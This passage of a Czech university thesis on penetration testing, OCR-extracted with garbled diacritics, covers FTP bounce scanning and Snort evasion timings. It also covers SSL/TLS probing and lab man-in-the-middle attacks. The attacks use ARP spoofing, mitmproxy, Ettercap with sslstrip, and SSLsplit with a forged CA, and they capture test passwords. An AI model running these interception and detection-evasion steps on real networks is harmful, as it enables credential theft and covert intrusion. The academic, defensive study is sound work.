PASS password

230 Login successful.

PORT 10,16,99,254,0,23

200 PORT command successful. Consider using PASV.
LIST

150 Here comes the directory listing.
226 Directory send OK.

PORT 10,16,99,254,0,24

200 PORT command successful. Consider using PASV.
LIST

150 Here comes the directory listing.
426 Failure writing network stream.
QUIT

221 Goodbye.

Connection closed by foreign host.

7 bezpecnostnich dtvodi je na vétsiné FTP serverech novéjsich verzi pou-
ziti FXP zakazano. Na nékterych FTP serverech lze FXP konfiguracné povolit.
Ale napriklad na proFtpd jsou blokovany nizké porty 1—1023 proto, aby se
nedal pouzit ke skenovani béznych sitovych sluzeb.

Nekteré starsi verze FTP serveru jesté FXP i na nizké porty povoluji,
naptiklad vsFTPd verze 2.0.1.
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3.4 Vysledky testti pri rtiznych nastavenich
sfPortscanu

Sense level LOW: P1i tomto nastaveni sfPortscan pocita TCP RST pakety
v pevné daném casovém okné o délce 60 sekund. Pokud pocet RST pakett
prekrodi 4, je detekovan pokus o vertikalni skenovani (portscan). V tomto pii-
padé nezalezi na c¢asové distribuci dotazti a randomizace zde neni ic¢inna. Pro
zamezeni odhaleni je nutno posilat maximélné 4 dotazy za minutu (napriklad
pravidelné po 16 sekundach). Toto pomalé skenovini byva oznacovano jako
slow-scan.

Sense level MEDIUM: Detekce po vice nez 9 RST paketech. Casové okno
90 sekund. Pro zamezeni odhaleni je nutno posilat maximélné 9 dotazi za mi-
nutu, naptiklad pravidelné s intervaly 11 sekund.

Sense level HIGH: Detekuje i slow-scan pri poc¢tu RST pakett vétsim
nez 9. Casové okno je nastaveno 600 sekund. Pro zamezeni detekce staéi tedy
na posilat maximalné 9 skenti béhem 10 minut. Naptiklad po kazdém skenu
nastavit pauzu na 67 sekund.

3.5 Shrnuti vysledka testti skenovani portt

Detekéni systém Snort (jeho modul sfPortscan) se ukazal jako velice u¢inny
nastroj odhalujici vSechny testované metody skenovani portt. Jeho sila je za-
lozena na pocitani RST paketti. Pocet téchto paketii je poc¢itdn béhem caso-
vého okna, jeho velikost je pevné dana a zavisi na konfigura¢nim parametru
sense__level. RST pakety jsou vsak pocitany zvlast pro zdrojové a cilové adrese
a dokonce pro jednotlivé typy protokolu (TCP, UDP) a typy skent (portscan,
portsweep).

Jakékoliv pokusy a zménu poradi (porti, adres), ¢asovych intervali a kom-
binace typu skenovani se ukazaly jako neucinné. Rovnéz casova simulace re-
alnych dotazi (exponencidlni doba mezi jednotlivymi dotazy) nedokézala de-
tekéni systém obelstit.

Uspésnou metodou skenovani porti viak je slow-scan. Jeho nevyhodou je
velka casova naroc¢nost na skenovani vétstho rozsahu porti nebo adres. Existuji
vsak zptlisoby, jak tuto metodu urychlit. Je vSak nutné znat detekéni sytém
a jeho chovani (nastaveni). U ndstroje Nmap s modulem sfPortscan jsou to
napiiklad tyto moznosti:

e vyuziti znalosti casového okna pro nastaveni co nejmensiho mozného
intervalu mezi jednotlivymi pakety

e skenovani vice cilovych adres z vice zdrojovych adres (napriklad z virtu-
alnich adres, nebo distribuované skenovani)
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e skenovani TCP a UDP najednou (s dodrzenim intervali pro oba proto-
koly zvlast)

FTP bounce scan je sice detekovan Snortem, nicméné nedojde k primému
odhaleni utoc¢nikovy adresy. Stejného vysledku by slo dosdhnout s pouzitim
anonymizacniho nastroje (naptiklad TOR).

3.6 Utoky na zabezpecenou komunikaci

3.6.1 Vybér protokolu SSL/TLS

P1i sestavovani zabezpecené komunikace se nejdrive musi dohodnout server
s klientem na verzi SSL/TLS, kterou budou pouzivat. Sestaveni komunikace
zahajuje klient, ktery posle serveru Client Hello zpravu s informaci o verzi
bezpecénostniho protokolu, ktery chce pouzit — podle RFC 5246 [27] by to
méla byt nejvyssi verze z téch, které jeho aplikace podporuje. Server odpovida
zpravou Server Hello ve které uvadi verzi SSL/TLS, kterou podporuje a kterou
budou oba pouzivat pro naslednou komunikaci.

3.6.2 Vybér sifrovaci sady

V Client Hello zpravé posila klient i seznam jim podporovanych Sifrovacich
sad, sefazenych podle jeho preferenci (preferované nejdrive). Pokud server na-
lezne shodu v seznamu svych podporovanych sSifrovacich sad, oznami klientovi
ve zprave Server Hello, jakou Sifrovaci sadu budou oba pouzivat pro danou
komunikaci. Vybér sifry ma tedy na starost server, jen se musi shodovat s né-
jakou z klientem nabizenych Sifrovacich sad. Pokud shodu nenalezne, odpovi
zpravou Handshake failure alert a spojeni ukondci. Klient pak mutze opakovat
svoji zpravu Client Hello s nabidkou nizsi verze SSL/TLS a seznamem Sifro-
vacich sad (vyssi verze SSL/TLS jiz nemusi podporovat néjaké starsi a slabsi
verze Sifer, které muze podporovat server).

Findlni vybér sifrovaci sady zalezi na nastaveni serveru. Server miize vybrat
sifrovaci sadu podle preferenci klienta, nebo podle vlastnich preferenci. Tato
volba lze vétSinou nastavit v konfiguraci serveru.

Bezpecnéjsi variantou je ta, kde ma na starosti volbu Sifry server. Klient
(nebo utocnik uprostred spojeni) vSak mize serveru nabidnout pouze jednu
sifru — tu nejslabsi, kterou server podporuje, a server ji musi prijmou nehledé
na své preference, protoze nem4 jinou moznost (domniva se, ze klient bezpec-

3.6.3 SSL verze — testovani

Pomoci nastroju Nmap a openssl s_client se daji zjistit podrobné informace
o verzich SSL/TLS a sifrovacich sadach, které jsou podporovany serverem. Lze
také ziskat podrobné informace o serverovém certifikdtu.
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e Vypis podporovanych Sifrovacich sad
nmap --script ssl-enum-ciphers -p 443 www.seznam.cz
e Informace o certifikatu serveru
openssl s_client -showcerts -connect www.seznam.cz:443
e Test podpory konkrétni verze protokolu (zde TLS 1.2)
openssl s_client -connect www.seznam.cz:443 -tlsl_2
e Test podpory konkrétni sifrovaci sady (zde RC4-SHA)

openssl s_client -cipher "RC4-SHA" -connect seznam.cz:443

3.6.4 MitM utoky na zabezpecenou komunikaci

Bylo objeveno jiz vice zptsobli napadeni zabezpetené komunikace. V této
praci byly testovany utoky typu MitM.

Prvni krok takového ttok spoéiva v presmérovani komunikace mezi klien-
tem a serverem pres utoc¢niktv pocitac. Toho lze dosdhnout nékolika zptisoby.
V této praci byl pouzit ARP spoofing — itok podvrzenim MAC adresy.

Druhym krokem je prolomeni sestaveni zabezpetené komunikace. Utok
spoCiva v tom, ze utocnik déla prostfednika provozu mezi klientem a serve-
rem. Navaze dvé zabezpecené komunikace: klient—utoc¢nik a ito¢nik—server.
Klient se pak mylné domnivé, ze komunikuje zabezpecené primo se serverem
(pokud diikladné nekontroluje informace o certifikitu serveru). Utoénik pak
vidi celou komunikaci nesifrovanou.

Dalsi moznosti je desifrovani jiz sifrované komunikace probihajici mezi kli-
entem a serverem, kterd je zabezpecena jen slabou Sifrou. Existuji zptisoby jak
napadenim sestavovani zabezpecené komunikace prinutit klienta a server aby
pouzili tu nejslabsi Sifrovaci sadu, kterou podporuji (Cipher Suite Rollback),
nebo nejstarsi verzi protokolu (Version Rollback Attack). Podrobnéji popsano
zde: [36].

3.6.5 Testovaci prostredi

Schéma zapojeni testovaciho prostfedi je zndzornéno na obr. v kapitole
Néavrh. V tomto prostiedi je jeden bezdratovy pristupovy bod (Access Point),
router, utocnikuv pocita¢ a mobilni zafizeni — notebook a mobilni telefon.
Utoc¢nik pomoci ARP spoofing ttoku presméruje data mezi mobilnim zarize-
nim a routerem pres svilj pocita¢ a snazi se prolomit zabezpecenou komuni-
kaci.
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3.6.6 Testované nastroje pro napadeni SSL/TLS provozu
Pri testovani Gtokl byly pouzity nésledujici nastroje:

e mitmproxy — interaktivni webova proxy

e Ettercap — komplexni nastroj pro MitM utoky

e SSLsplit — nédstroj pro MitM dtoky na SSL/TLS sifrovand sitova spojeni

3.6.6.1 mitmiproxy

Tato sekce popisuje instalaci a spusténi mimtproxy a dalSich nastroju k pro-
vedeni MitM 1toku na zabezpecenou komunikaci.

Instalace mimtproxy a podpurnych knihoven:

sudo apt-get install python-pip python-dev libffi-dev \
libssl-dev libxml2-dev libxsltl-dev
sudo pip install mitmproxy

Spusténi mimtprozy v transparentniho médu:

sysctl -w net.ipv4.ip_forward=1

iptables -t nat -A PREROUTING -i ethO -p tcp --dport 80 \
-j REDIRECT --to-port 8080

iptables -t nat -A PREROUTING -i ethO -p tcp --dport 443 \
-j REDIRECT --to-port 8080

mitmproxy -T --host

Presmérovani paketii od klienta a routeru (nebo pfimo cilového serveru,
pokud se nachédzi na lokalni siti) pfes pocita¢ itocnika:

e nistrojem scapy:

a=ARP(pdst="client", op= ’is-at’, psrc=’router’)
b=ARP(pdst="router", op= ’is-at’, psrc=’client’)
pkts=[a, bl

send(pkts, loop=1, inter=5)

e nistrojem arpspoof:
arpspoof -t 192.168.1.136 192.168.1.1

Pokud mame piimy pristup do zarizeni klienta, mizeme tam nainstalovat
mitmproxy certifikdt a oznacit ho jako duvéryhodny. To klientovi néasledné
snizi moznost zpozorovani problémt se zabezpecenym spojenim, protoze zafi-
zeni bude povazovat certifikat za divéryhodny. Mobilni telefony s novéjsi verzi
operacnich systému vsak pri kazdém spusténi webového prohlizece varuji uzi-
vatele na pritomnost lokélné instalovaného certifikatu.
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3.6.6.2 Ettercap graphical

Pro pouziti nastroje Ettercap s grafickym rozhranim je potteba provést ipravu
konfigurace a spustit odchytavani paketi podle nize uvedeného postupu.

Konfigurace Ettercapu — etter.conf:

[privs]
ec_uid = 0
ec_gid = 0

# redir_command_on/off

redir_command_on = "iptables -t nat -A PREROUTING \

-i %iface -p tcp --dport %port -j REDIRECT --to-port Y%rport"
redir_command_off = "iptables -t nat -D PREROUTING \

-i Yiface -p tcp —--dport %port -j REDIRECT --to-port Yrport"

Spusténi sniffovani v Ettercapu:

1. Sniff — Unified sniffing — select network interface

2. Hosts — Scan for hosts — Add to Target 1, Add to Target 2
3. Plugins — Manage the Plugins, select sslstrip

4. Mitm — Arp poisoning — Sniff remote connections

5. Start sniffing

3.6.6.3 SSLsplit

SSLsplit je nastroj spoustény v prikazové fadce. Dynamicky generuje certifi-
kat podle originalniho serverového certifikitu (DN a AltName).

Jednoducha varianta — pouze HTTP provoz + HTTPS post:

sysctl -w net.ipv4.ip_forward=1

iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT \
-—to-ports 8080

arpspoof -t 192.168.1.136 192.168.1.1

sslsplit -1 8080

tail -f sslsplit.log

Komplexni sniff:

openssl genrsa -out ca.key 4096

openssl req -new -xb509 -days 1826 -key ca.key -out ca.crt
sysctl -w net.ipv4.ip_forward=1

iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT \
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--to-ports 8080

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT \
-—to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT \
-—to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT \
--to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT \
-—-to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT \
--to-ports 8080

arpspoof -t 192.168.1.136 192.168.1.1

sslsplit -D -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt \
ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

grep -a -i -E "auth|login|username|password" \
/tmp/sslsplit/logdir/*

Ukazka odchyceni hesla aplikaci sslsplit:

20150316T204201Z-[192.168.1.136] : 58773-[147.32.232.238] :993.10g
:1 LOGIN kraltol2 sskkskkkx

3.6.7 Testované aplikace

Utoky na zabezpeenou komunikaci byly testovény na nékolika PC a iOS
aplikacich. Zvlast u mobilnich aplikaci byla predpokladana nizka troven za-
bezpeceni aplikaci.

3.6.7.1 PC aplikace

Aplikace byly testovany na operacnich systémech Windows 7 a Mac OS X
10.2.

e Microsoft Internet Explorer do verze 11 nepodporuje HSTS. Aplikace
varuje pred nediivéryhodnym certifikdtem, ale pristup na stanky umozni.
Ukézka odchyceného hesla v mitmprozy je na obr.

e Google Chrome — hlasi podeztely certifikdt, podporuje HSTS (webové
stranky s podporou HSTS nezobrazi)

e Mozilla Firefox — hlasi podezrely certifikat, podporuje HSTS

e Mail App (OS X) — hlasi podezrely certifikat, ukdzka odchyceného hesla:
IMAP : 213.46.255.15:993 -> USER: test@Qupcmail.cz PASS: test

e App Store (OS X) — neptipoji se (Cannot Connect to the App Store)
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2015-02-20 15:41:27 https://login.szn.cz/loginProcess
< 302 application et-stream [no content] 50.6kB/s

Request :
text/html, application/xhtml+xml, */*
Mozilla/5.@ (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
application/x-www-form-urlencodec
gzip, deflate
cs-CZ
login.szn.cz
119
Keep-Alive
no-cache
URLEncoded form

https://email.seznam.cz

email

?:help q:back [*:8088]

Obréazek 3.1: Heslo z SSL v Internet Explorer 11 — mitmproxy

3.6.7.2 i0OS aplikace

Mobilni aplikace byly testovany v prostiedi Apple iOS verze 8.3 a na systému
Google Android verze 4.2.

Testované aplikace:
e Gmail — neptipoji se, bez varovani.
e Google+ — chyba: Certifikat serveru je neplatny, nelze se pripojit.

e Mail App — chyba: Identitu serveru nelze pomoci Mail ovérit. Pfed po-
krac¢ovanim zkontrolujte podrobné tdaje o certifikatu.
Pokud dadme pokracovat, 1ze odchytit jméno a heslo:

IMAP : 147.32.232.238:993 -> USER: test PASS: test
e Facebook — nepripoji se: Chyba siteé.

e Withings Health Mate — aplikace pro zdravotni data — ve verzi 2.4.1 ne-
Sifrovand komunikace, heslo hesovano. Ve verzi 2.5 opraveno, komunikaci
nelze odchytit.

e mBank — chyba: Operaci nejde dokondéit.

e Publero — zddné varovani, odchyceno jméno a heslo (pomoci mitmproxy).
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3.6.7.3 Android aplikace
e Gmail — nepripoji se, bez varovani.
e Google+ — nepripoji se: Data se nepodarilo nacist.

e Posta — nepfipoji se: Chyba sité.

3.6.8 Skryty MitM ttok na SSL/TLS

Vyse testované zpusoby ttokti mohou byt snadno detekovatelné, pokud je
klientské aplikace dobfe napsana. Aplikace totiz muze uzivatele ihned infor-
movat, ze mé podezieni na probihajici itok (neplatny nebo neduvéryhodny
certifikdt, nezabezpecend komunikace ... ), nebo rovnou komunikaci ukoncit.
Vétsina béznych aplikaci velkych vyrobcu pak skuteéné takto fungovala a za-
jistovala dostatec¢nou bezpecnost.

Existuji vSak zpisoby, jak MitM ttok provadét tak, aby nebyl odhalitelny
(nebo alespon ne snadno odhalitelny). Takovym ttokem muze byt napiiklad
prolomeni pouzité sifry. Nové sifry jsou vSak jiz dostatecné bezpecné a béznymi
prostiedky nejsou prolomitelné. Pokud vsak server umoznuje pouziti néjaké
slabé sifry, mohlo by byt jeji prolomeni realné. K tomu je vSak nutné prinutit
server a klienta, aby komunikovali pomoci slabé Sifry. Postup pro takovy pripad
by mohl vypadat nasledovné:

e utocnik provede ARP spoofing a presméruje komunikaci mezi klientem
a serverem pres svilj pocitac

e zjisti jaké Sifrovaci sady podporuje server
e odchyti paket Client Hello pii sestavovani zabezpecené komunikace

e modifikuje paket tak, Ze v ném ponecha jen nabidku jedné nejslabsi
sifrovaci sady, kterou podporuji klient i server

e preposle modifikovany paket serveru
e server a klient sestavi zabezpecenou komunikaci na nejslabsi Sifre

e Utocnik mize zacit s prolamovanim komunikace

3.7 Aplikace pro testovani SSL/TLS parametru
webovych servert

Jednou z ¢asti této prace byl vyvoj aplikace, kterd umozni ziskat informace

o nastaveni zabezpeceni webového serveru.

Aplikace ssl__scan je napsana jako Bash skript a pouziva mozZnosti ndstroje
openssl. Jejim ticelem je poskytnout souhrnné tdaje o vybranych parametrech
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zadaného webového serveru, ze kterych bude patrné jakou troven zabezpeceni
komunikace pomoci SSL/TLS protokolu testovany server nabizi.

Aplikace funguje jako bezpecnostni penetracni test, kdy posila na server
mnoho dotazi s riznymi parametry a snazi se ziskat co nejvice informaci, ze
kterych poté sestavi prehlednou zpravu o nastavenych parametrech konfigu-
race zabezpeceni webového serveru.

Aplikace zjisti nasledujici informace o zadaném webovém serveru:

e seznam podporovanych protokoll

e seznam Sifrovacich sad podporovanych serverem

e kdo rozhoduje o vybéru sifrovaci sady (server nebo klient)
e preferované poradi sifrovacich sad dle serveru

e silu podporovanych Sifrovacich sad (barevné rozlisi silné, stfedné silné a
slabé)

e poradi Sifrovacich sad podle sily (podle specifikaci openssl)
e nejslabsi a nejsilnéjsi podporovanou sifrovaci sadu

e informace o certifikdtu (platnost, ndzev, vydavatel)

e ovéreni duvéryhodnosti certifikdtu

Ukéazka informaci, které poskytne aplikace ssl_scan:

./ssl_scan muj.erasvet.cz
Scanning server muj.erasvet.cz
Using OpenSSL 1.0.1f 6 Jan 2014

Supported protocols:

ssl2 not supported by local openssl
ssl3 supported

tlsl supported

tlsl_1 not supported

tlsl_2 not supported

Number of supported Cipher Suites: 3
Cipher Suite preference set by server.
List of supported Cipher Suites ordered by server preferences:

(Strong: , Medium: BLUE, Weak: RED)
91 RC4-MD5
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Strongest Cipher Suite is: AES256-SHA
Weakest Cipher Suite is: RC4-MD5

Server certificate information:

Owner: Ceskoslovenska obchodni banka a.s.
Issuer: GlobalSign nv-sa

Validity dates:

notBefore=Dec 17 15:02:48 2014 GMT

notAfter=Dec 17 15:02:48 2016 GMT

Certificate verification:
Verify return code: 0 (ok)

7 vyse uvedené ukézky certifikdtu Postovni spoiitelny (CSOB) jsou vidét
tyto bezpecnostni slabiny:

e server podporuje protokol SSL3, ktery jiz neni povazovan za bezpecny

e server nepodporuje TLS1.1 a TLS1.2 — doporuc¢ované a bezpecné proto-
koly

e server podporuje jen tii Sifrovaci sady
e server preferuje nejslabsi z podporovanych sifrovacich sad — RC4-SHA

Pro pouziti v bankovnim sektoru by mél byt tento server zabezpecen 1épe

vvvvvv

3.8 Dalsi oblasti zkoumani sitové bezpecnosti

Zkoumana oblast penetra¢niho testovani se béhem této prace ukazala byt
velmi rozsahla a nékolik véci jiz nebylo v omezeném case dokonceno. Byla
napiiklad provérovana moznost tpravy testovaciho nastroje ssl_scan tak, aby
byl schopen poskytnout udaje o zabezpeceni SSH a OpenVPN serveri. Na
Internetu totiz nebyly nalezeny zadné nastroje, které to umoznovaly. Bohuzel
se ukazalo, ze jak SSH tak OpenVPN pouzivaji jiné navizéani komunikace
(handshake) nez HTTPS, takze se program openssl neni schopen pfipojit na
dané servery a ovérit pozadované informace. Bylo by tedy nutné napsat zcela
novy nastroj.

Implementace ssl__scan do OWASP ZAPu se také ukazala jako netrivialni
a jeji realizace nebyla ve stanoveném case dokoncena. Presto jsou vyse uvedené
moznosti dalsitho vyvoje ndstroji zajimavé a bylo by dobré v jejich zkouméni
pokracovat.

Seznam oblasti, ve kterych by se dalo navazat na vysledky této prace a
pokracovat v jejich zkoumani:
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Testovani randomizace skenovani na komer¢nich detekénich néstrojich
vyuzivajicich statistické metody a behaviordlni analyzu — napiiklad te-
Seni FlowMon spole¢nosti INVEA-TECH.

Néstroj na testovani zabezpeceni SSH
Néstroj na testovani zabezpeceni VPN

Implementace néstroje ssl_scan jako modulu do OWASP ZAPu



Zaver

V této praci byly testovany ruzné zpusoby skryvani (zneviditelnovani) pene-
tracnich testi, které by mohly byt také pouzity ttocéniky pro nedetekovatelné
provadéni atoku. Zaméieny byly na vodni fazi testovani — detekci otevienych
portu. Néasledujici faze (samotné titoky a pruniky do konkrétnich aplikaci)
totiz byvaji odhalitelné jiz ptfi prvnim pokusu o prunik. Detekéni systémy
maji vytvorenou signaturu pro konkrétni jiz znamy typ utoku a tak je tento
utok detekovan okamzité [19].

Na testovaném detekénim systému Snort se jako nejucinngjsi ukazaly testy
typu slow-scan — tedy pomalé skenovani portt. Pro kompenzaci jejich nevy-
hody (velké ¢asové ndrocnosti) byly navrzeny postupy, jak tyto testy urychlit —
nastaveni co nejmensiho intervalu skenovani (pfi znalosti typu detekéniho sys-
tému a jeho nastaveni), skenovani mnoha cili z vice adres najednou, skenovani
TCP a UDP soucasné.

Puvodni myslenka vyuziti randomizace pro maskovani penetrac¢nich testu
se na testovaném detekénim systému ukézala jako prilis sofistikovana, nebof
Snort nevyuziva pokrocilé statistické metody pro detekci skenovani porti,
které by umoznily ihned rozeznat skenovani od realného provozu. Pro zabra-
néni detekce Snortem by stacilo pouze dostatecné zpomalit skenovani. Rando-
mizace by vSak byla vhodna u jinych detekénich nastroji — napriklad u sitové
behavioralni analyzy (NBA).

Pri béznych atocich, pripadné slepych penetracnich testech, neni vétsinou
znamo, jakd bezpecnostni zarizeni (IDS, IPS, NBA ...) jsou nasazena na tes-
tované siti. Pro maximalizaci utajeni itokt nebo penetracnich testi lze vyuzit
spole¢né vsech moznosti uvazovanych v této praci. To znamend kombinovat
slow-scan s randomizaci Casu, portu i skenovanych adres a jesté k tomu vyuzit
anonymizaci prostfednictvim FTP bounce skenovani a anonymizacniho sys-
tému TOR. V pripadé nelegdlniho distribuovaného skenovani ttocnici s tspé-
chem pouzivaji vzdalené ovladané pocitace (zombies). P¥i kombinaci vSech
téchto metod bude takovyto ttok jen velice tézko detekovatelny a utocnik
zlistane anonymni.
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Pro zajisténi detekce a obrany proti sitovym ttoktiim musi byt vyvijeny a
nasazovany pokrocilé systémy, umoznujici kombinovat bézné dostupné tech-
niky detekce ttoku (t.j. signatury, statistické metody, analyzu chovani, apod.)
a spolupraci mezi jednotlivymi bezpec¢nostnimi prvky.

Druhd ¢ast prace byla zamérena na zabezpecenou komunikaci. Provede-
nymi testy MitM tutoki bylo ovéreno, ze i takovato zdanlivé bezpec¢na komu-
nikace muze byt celkem snadno napadnuteln4.

Abychom méli jistotu, Ze je nase komunikace skutecné bezpecnd, musime
dodrzovat urcitd pravidla a hlavné obezretnost. A to jak pii pouziti, tak vy-
voji aplikaci, které komunikuji pomoci zabezpecenych protokoli. Predné je
dilezité pouzivat jen spolehlivé aplikace podporujici nejnovejsi zabezpeceni
a informujici uzivatele o potencionalnich hrozbach dané komunikace. Uziva-
telé musi byt upozornéni na neovéreny certifikat, pouziti slabé Sifry, pokus
o nesifrovanou komunikaci a podobné. Aplikace by nemély podporovat pou-
ziti slabych protokolu (SSL2), nepouzivat slabé Sifry (méné nez 128 bitové a
RC4), nepouzivat slabé hasovaci algoritmy (MD5, SHA1) a podporovat HSTS.

V této préci byla popsana a otestovana metodika ovérovani, zda pouzivané
aplikace spravné pouzivaji zabezpecené protokoly. Tyto postupy jsou zvlast
dulezité pro testovani proprietarnich aplikaci jak na osobnich pocitacich, tak
i na mobilnich telefonech a tabletech. V korporatnim prostiedi jsou dulezité
pro otestovani komunikace mezi raznymi komponentami distribuovanych ser-
verovych aplikaci a systému.

Pro ovéreni nastaveni zabezpeceni na webovych serverech byla napsana
aplikace ssl__scan, kterd poskytne jednoduchy piehled o podporovanych bez-
pecnostnich protokolech, Sifrovacich sadach a jejich preferencich a informace
o serverovém certifikatu. Tato aplikace je pouzitelnd pro reané penetracni tes-
tovani v korporatnich sitich a verejnych a mize byt rozsitena na ostatni bezné
poskytované sluzby, jako jsou e-mail, directory services, atp.
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PRILOHA A

Seznam pouzitych zkratek

ARP Address Resolution Protocol

ASA Adaptive Security Appliance

CGI Common Gateway Interface

DC Domain Controller

DDoS Distributed Denial of Service

DoS Denial of Service

DHCP Dynamic Host Configuration Protocol
DMZ DeMilitarized Zone

DNS Domain Name System

DoS Denial of Service

DVWA Damn Vulnerable Web Application
FTP File Transfer Protocol

FXP File eXchange Protocol

HSTS HTTP Strict Transport Security
HTTP Hypertext Transfer Protocol

HW Hardware

TANA Internet Assigned Numbers Authority
ICMP Internet Control Message Protocol

IDS Intruder Detection Systems
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IE Internet Explorer

IMAP Internet Message Access Protocol

IoE Internet of Everything

iOS iPhone OS

IoT Internet of Things

IP Internet Protocol

IPS Intruder Prevention Systems

LDAP Lightweight Directory Access Protocol
MitM Man-in-the-middle

NAT Network Address Translation

NBA Network Behavior Analysis

NFS Network File System

NSE Nmap Scripting Engine

OWASP Open Web Application Security Project
POP3 Post Office Protocol - Version 3

RFC Request for Comments

RPC Remote Procedure Call

SHA Secure Hash Algorithm

SIEM Security Information and Event Management
SNMP Simple Network Management Protocol
SQL Structured Query Language

SMS Short Message Service

SMTP Simple Mail Transfer Protocol

SSH Secure Shell

SSL Secure Sockets Layer

SW Software

TCP Transmission Control Protocol
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TLS Transport Layer Security
UDP User Datagram Protocol

XMPP Extensible Messaging and Presence Protocol
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PRILOHA B

Obsah prilozeného CD

readme.tXE..ooviin i e struény popis obsahu CD
o ol o 7= adresar s pouzitymi scripty
src

| thesis......ooooieiiiiiii... zdrojova forma prace ve formatu KITEX
L= v PP text prace
LDP_Kral_Tomas_QOlS.pdf ................ text prace ve formatu PDF
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